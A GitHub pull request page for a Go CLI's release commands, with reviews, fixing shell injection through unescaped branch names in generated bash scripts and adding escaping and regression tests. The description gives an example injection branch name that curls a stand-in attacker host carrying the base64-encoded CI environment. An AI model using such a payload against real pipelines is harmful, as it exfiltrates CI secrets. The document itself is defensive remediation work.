Repository navigation
Escape branch name in release scripts; honour --debug in validate - #108
Open
evilfurryone wants to merge 2 commits into
Open
evilfurryone wants to merge 2 commits into
evilfurryone wants to merge 2 commits into
Conversation
ci release deploy, diff and validate interpolate --branchname (and the environment name derived from it) into a single-quoted bash assignment. Git allows quotes and other shell metacharacters in branch names, so a name like "x'; curl ...; #" closed the literal and ran as shell code in the CI job's environment. Add common.EscapeSingleQuoted, which rewrites ' as '\'' so the value is preserved exactly, and apply it at all seven interpolation points. The value is a helm --set input used by the charts, so escaping is used rather than stripping characters to avoid changing what the chart sees. Add a regression test covering the three subcommands.
The helm dry-run step in ci release validate always executed, even with --debug set, unlike every other generated script in the CLI. Print the command instead of running it when debug is on, matching pipedExec. Fix bufferedExec (used by ci release info) which called fmt.Sprintf in its debug branch and so printed nothing; go vet flagged it. Extend the branch name escaping test to check validate's debug output directly now that it is printed.
There was a problem hiding this comment.
Copilot review overview
🟢 Approval recommended
The reviewed code paths are correct; only a minor documentation notation issue remains.
Review effort: Lite
Findings: 1
Open (1)
What changed in this PR
Secures generated release scripts against shell injection from branch names and makes validate honor --debug.
Changes:
- Adds single-quote escaping for all branch/environment interpolations.
- Prevents validate’s Helm dry-run from executing in debug mode.
- Fixes debug command output and adds regression coverage.
| File | Description |
|---|---|
internal/common/shell.go |
Adds shell escaping helper. |
cmd/ciReleaseDeploy.go |
Escapes deploy script values. |
cmd/ciReleaseDiff.go |
Escapes diff script values. |
cmd/ciReleaseValidate.go |
Escapes values and honors debug mode. |
cmd/root.go |
Fixes debug output. |
tests/release_test.go |
Adds branch-name injection regression tests. |
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
|
|
||
| // EscapeSingleQuoted makes a value safe to embed inside a single-quoted bash | ||
| // string literal. A single quote cannot be escaped inside single quotes, so | ||
| // each one is rewritten as: close quote, escaped quote, reopen quote ('\”). |
operinko
approved these changes
Sep 22, 2026
operinko
left a comment
operinko
left a comment
There was a problem hiding this comment.
With the exception of the singular double-quote comment that Copilot also flagged, this looks to be solid to me.
Jancis
self-requested a review
September 22, 2026 10:25
Jancis
requested changes
Sep 22, 2026
Jancis
left a comment
Jancis
left a comment
Member
There was a problem hiding this comment.
Besides the fact that this is not an issue, this fix is too specific - it should use a regular expression pattern for a branch name according to git spec, discard errand characters.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What
ci release deploy,diffandvalidateembed--branchname(and the environmentname derived from it) in a single-quoted bash assignment without escaping. Git allows
quotes and other shell metacharacters in branch names, so a name like
x'; curl attacker/$(env|base64); #closed the literal and ran as shell code withthe CI job's secrets in the environment.
Changes
common.EscapeSingleQuoted, which rewrites'as'\'', and apply it at allseven interpolation points. Escaping is used instead of stripping so the value the
chart receives via
--set silta-release.branchNameis unchanged.ci release validaterespect--debug. It was theonly generated script that always executed.
bufferedExecprinting nothing in debug mode (Sprintfinstead ofPrintf),flagged by
go vet.and checks the escaped assignments in the debug output.
Risk
Low. Behaviour is unchanged for branch names without a single quote, which is every
branch name in normal use.
go vet ./...andgo test ./testspass.Severity note
Medium in a standard CircleCI setup, since anyone who can push a branch can already
edit the pipeline config. High for any consumer running the CLI from a trusted
workflow against an untrusted head ref, such as a GitHub Actions
pull_request_targetjob. The CLI cannot know which, so it is fixed regardless.